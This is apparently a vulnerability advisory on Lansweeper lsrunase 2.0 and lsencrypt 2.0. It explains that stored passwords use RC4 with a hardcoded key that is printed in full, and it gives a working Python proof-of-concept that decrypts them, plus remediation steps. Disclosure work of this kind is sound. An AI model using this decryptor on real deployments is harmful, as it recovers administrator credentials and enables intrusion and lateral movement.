Security Vulnerability Disclosure

Plaintext Password Recovery via Reversible Encryption in Lansweeper lsrunase 2.0 / lsencrypt 2.0

Vendor:	Lansweeper
Date:	March 13, 2026
Classification:	CWE-326, CWE-321, CWE-327

1. Overview

Vulnerability Title	Plaintext Password Recovery via Reversible Encryption in lsrunase 2.0 / lsencrypt 2.0
Affected Software	Lansweeper lsrunase 2.0, Lansweeper lsencrypt 2.0
Vendor	Lansweeper (https://www.lansweeper.com/)
Vulnerability Type	CWE-326: Inadequate Encryption Strength
Additional CWEs	CWE-321 (Use of Hard-coded Cryptographic Key), CWE-327 (Use of a Broken or Risky Cryptographic Algorithm)

NOTE: This vulnerability is specific to lsrunase version 2.0 and lsencrypt version 2.0. It is a distinct finding from any previously disclosed vulnerability affecting lsrunase 1.0.

2. Affected Versions

- **Lansweeper lsrunase 2.0** (branded as "LSrunasE password encrypter 2.0" in the application UI)
- **Lansweeper lsencrypt 2.0**

Both components ship as part of the Lansweeper on-premises product suite. The password encryption logic is identical in both binaries.

3. Vulnerability Description

lsrunase 2.0 and lsencrypt 2.0 encrypt passwords using a reversible scheme. The encryption algorithm uses the RC4 stream cipher with a key derived from two inputs:

1. An 8-character random ASCII prefix (transmitted in cleartext as the first 8 characters of the encrypted string).
2. A 142-byte static key array that is hardcoded identically in every copy of the lsrunase 2.0 and lsencrypt 2.0 binaries.

Both inputs to the key derivation are available to any party with access to the encrypted string and a copy of the binary. The encryption can therefore be reversed with a single SHA-1 hash and one RC4 decryption pass.

4. Technical Details

4.1 Encryption Process

When a password is encrypted by lsencrypt 2.0 or lsrunase 2.0, the following steps occur:

1. Generate 8 random ASCII characters in the range 0x3F–0x7E. This is the key prefix.
2. Load the hardcoded 142-byte static key array from the binary.
3. Overwrite the first 8 bytes of the static key array with the ASCII bytes of the key prefix.
4. Compute SHA-1(modified_key_array) to produce a 20-byte RC4 key.

5. Encrypt the plaintext password bytes with RC4 using the derived key.
6. Base64-encode the RC4 ciphertext.
7. Concatenate the 8-character key prefix with the Base64 string to form the final encrypted password output.

4.2 Cryptographic Weaknesses

The key prefix is included as the first 8 characters of the encrypted output and is stored alongside the ciphertext.

The 142-byte static key is hardcoded in every lsrunase 2.0 / lsencrypt 2.0 binary and can be extracted from any copy. The key bytes are:

```
0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x27 0x0F 0x29 0x11 0x28 0x13 0x20 0x15
0x2F 0x17 0x31 0x19 0x33 0x18 0x35 0x1D
0x37 0x1F 0x39 0x21 0x38 0x23 0x3D 0x25
0x3F 0x27 0x41 0x29 0x43 0x2B 0x45 0x2D
0x47 0x2F 0x49 0x31 0x48 0x33 0x4D 0x35
0x4F 0x37 0x51 0x39 0x53 0x38 0x55 0x3D
0x57 0x3F 0x59 0x41 0x58 0x43 0x5D 0x45
0x5F 0x47 0x61 0x49 0x63 0x48 0x65 0x4D
0x67 0x4F 0x69 0x51 0x68 0x53 0x6D 0x55
0x6F 0x57 0x71 0x59 0x73 0x5B 0x75 0x5D
0x77 0x5F 0x79 0x61 0x7B 0x63 0x7D 0x65
0x77 0x67 0x81 0x69 0x83 0x68 0x85 0x6D
0x87 0x6F 0x89 0x71 0x88 0x73 0x80 0x75
0x8F 0x77 0x91 0x79 0x93 0x7B 0x95 0x7D
0x97 0x7F 0x99 0x81 0x98 0x83 0x9D 0x85
0x9F 0x87 0xA1 0x89 0xA3 0x88 0xA5 0x8D
0xA7 0x8F 0xA9 0x91 0xA8 0x93 0xAD 0x95
0xAF 0x97 0xB1 0x99 0x83 0x98
```

(The first 8 bytes, shown as 0x00, are placeholders that get overwritten with the key prefix during encryption.)

SHA-1 is used as the sole key derivation function. There is no iteration, no salt beyond the predictable prefix, and no key stretching. A single SHA-1 call produces the RC4 key.

RC4 has known statistical biases and was prohibited in TLS by RFC 7465 (2015).

Passwords are stored using reversible encryption rather than one-way hashing.

4.3 Decryption Process

Given an encrypted password string, decryption proceeds as follows:

1. Take the first 8 characters as key_prefix.
2. Take the remainder as ciphertext_b64.
3. Load the hardcoded 142-byte key array.
4. Overwrite bytes 0–7 of the key array with key_prefix encoded as ASCII.
5. Compute SHA-1(key_array) to get the 20-byte RC4 key.
6. Base64-decode ciphertext_b64.
7. RC4-decrypt the decoded bytes using the SHA-1 digest.
8. The output is the plaintext password.

All inputs required for decryption are derivable from the encrypted string and the binary. No key guessing or brute force is required.

5. Proof of Concept

5.1 Demonstration

The following demonstrates decryption of a password encrypted by lsencrypt 2.0:

```
$ python lsrunasecve.py --decrypt "IssS|CI|NTOEHkSQ9I7Sn89xEA67+wo="
Decrypted: testpassword12345
```

The encrypted string `IssS|CI|NTOEHkSQ9I7Sn89xEA67+wo=` was produced by the LSrunasE password encrypter 2.0 GUI application for the input `testpassword12345`.

5.2 PoC Script

```
import random
import hashlib
import base64


class RC4:
    def __init__(self, key):
        self.s = list(range(256))
        j = 0
        for i in range(256):
            j = (j + self.s[i] + key[i % len(key)]) % 256
            self.s[i], self.s[j] = self.s[j], self.s[i]

    def crypt(self, data):
        i = j = 0
        result = []
        for char in data:
            i = (i + 1) % 256
            j = (j + self.s[i]) % 256
            self.s[i], self.s[j] = self.s[j], self.s[i]
            result.append(char ^ self.s[(self.s[i] + self.s[j]) % 256])
        return bytes(result)


# Hardcoded 142-byte key from lsrunase 2.0 / lsencrypt 2.0 binaries.
# First 8 bytes are overwritten with the key prefix during key generation.
STATIC_KEY = [
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x27, 0x0F, 0x29, 0x11, 0x28, 0x13, 0x20, 0x15,
    0x2F, 0x17, 0x31, 0x19, 0x33, 0x18, 0x35, 0x1D,
    0x37, 0x1F, 0x39, 0x21, 0x38, 0x23, 0x3D, 0x25,
    0x3F, 0x27, 0x41, 0x29, 0x43, 0x2B, 0x45, 0x2D,
    0x47, 0x2F, 0x49, 0x31, 0x48, 0x33, 0x4D, 0x35,
    0x4F, 0x37, 0x51, 0x39, 0x53, 0x38, 0x55, 0x3D,
    0x57, 0x3F, 0x59, 0x41, 0x58, 0x43, 0x5D, 0x45,
    0x5F, 0x47, 0x61, 0x49, 0x63, 0x48, 0x65, 0x4D,
    0x67, 0x4F, 0x69, 0x51, 0x68, 0x53, 0x6D, 0x55,
    0x6F, 0x57, 0x71, 0x59, 0x73, 0x5B, 0x75, 0x5D,
    0x77, 0x5F, 0x79, 0x61, 0x7B, 0x63, 0x7D, 0x65,
    0x77, 0x67, 0x81, 0x69, 0x83, 0x68, 0x85, 0x6D,
    0x87, 0x6F, 0x89, 0x71, 0x88, 0x73, 0x80, 0x75,
    0x8F, 0x77, 0x91, 0x79, 0x93, 0x7B, 0x95, 0x7D,
    0x97, 0x7F, 0x99, 0x81, 0x98, 0x83, 0x9D, 0x85,
    0x9F, 0x87, 0xA1, 0x89, 0xA3, 0x88, 0xA5, 0x8D,
    0xA7, 0x8F, 0xA9, 0x91, 0xA8, 0x93, 0xAD, 0x95,
    0xAF, 0x97, 0xB1, 0x99, 0x83, 0x98,
]
```

```
def generate_key(key_str):
    """Build the 142-byte key array by overwriting the first 8 bytes."""
    b_key = list(STATIC_KEY)
    for i, char in enumerate(key_str.encode('ascii')):
        b_key[i] = char
    return bytes(b_key)


def decrypt_password(encrypted_password):
    """Recover plaintext from an lsencrypt 2.0 / lsrunase 2.0 encrypted
    password string."""
    key_str = encrypted_password[:8]
    enc_pass = encrypted_password[8:]
    key_bytes = generate_key(key_str)
    hashed_key = hashlib.sha1(key_bytes).digest()
    pass_bytes = base64.b64decode(enc_pass)
    rc4 = RC4(hashed_key)
    decrypted = rc4.crypt(pass_bytes)
    return decrypted.decode('ascii')


def generate_random_string():
    """Generate 8 random ASCII characters in the range 0x3F-0x7E."""
    return ''.join([chr(random.randint(0x3F, 0x7E)) for _ in range(8)])


def encrypt_password(password):
    """Encrypt a password using the same algorithm as lsencrypt 2.0 /",
    lsrunase 2.0."""
    key_str = generate_random_string()
    key_bytes = generate_key(key_str)
    password_bytes = password.encode('ascii')
    hashed_key = hashlib.sha1(key_bytes).digest()
    rc4 = RC4(hashed_key)
    encrypted = rc4.crypt(password_bytes)
    enc_pass = base64.b64encode(encrypted).decode('ascii')
    return key_str + enc_pass
```

6. Impact

Any encrypted password produced by lsrunase 2.0 or lsencrypt 2.0 can be decrypted to plaintext given access to the encrypted string and a copy of either binary. Decryption is an offline operation consisting of one SHA-1 hash and one RC4 pass.

In a Lansweeper deployment, these tools encrypt credentials used by the Lansweeper service to authenticate to remote machines, including with administrator privileges. Recovery of these credentials enables:

- Administrator-level access to every machine whose credentials were encrypted by these tools.
- Lateral movement across the managed environment.
- Credential reuse against other systems, services, and accounts sharing the same passwords.
- Retroactive decryption of any previously captured or backed-up encrypted password strings, as the static key is identical across all installations and does not change.

7. Root Cause Summary

Issue	Detail
Deprecated cipher	RC4, deprecated since 2015 (RFC 7465), with known statistical biases.
Hardcoded key material	142-byte static key array identical across all installations, extractable from any binary.
Key prefix in cleartext	The 8-byte random component is prepended to the output in the clear.
No key stretching	Single SHA-1 pass with no iterations, no PBKDF2/bcrypt/scrypt/Argon2.
Reversible encryption over hashing	Passwords are encrypted (reversible) rather than hashed (one-way).
No per-installation diversification	No machine-specific, user-specific, or installation-specific key material.

8. Remediation

- **Discontinue use of lsrunase 2.0 / lsencrypt 2.0 for password encryption.**
- **Rotate all credentials** that were ever encrypted by these tools. Treat them as compromised.
- **Replace the encryption scheme** with either:
- A modern AEAD cipher (AES-256-GCM) with keys protected by the OS credential store (Windows DPAPI, Linux keyring, or an HSM), if reversible encryption is required.
- A modern password hash (Argon2id, bcrypt, scrypt) if the plaintext does not need to be recovered.
- **Eliminate hardcoded key material.** All cryptographic keys must be generated per-installation and stored in a protected key store.
- **Use a standard KDF.** Replace SHA-1 with HKDF (for high-entropy key material) or Argon2id (for password-derived keys).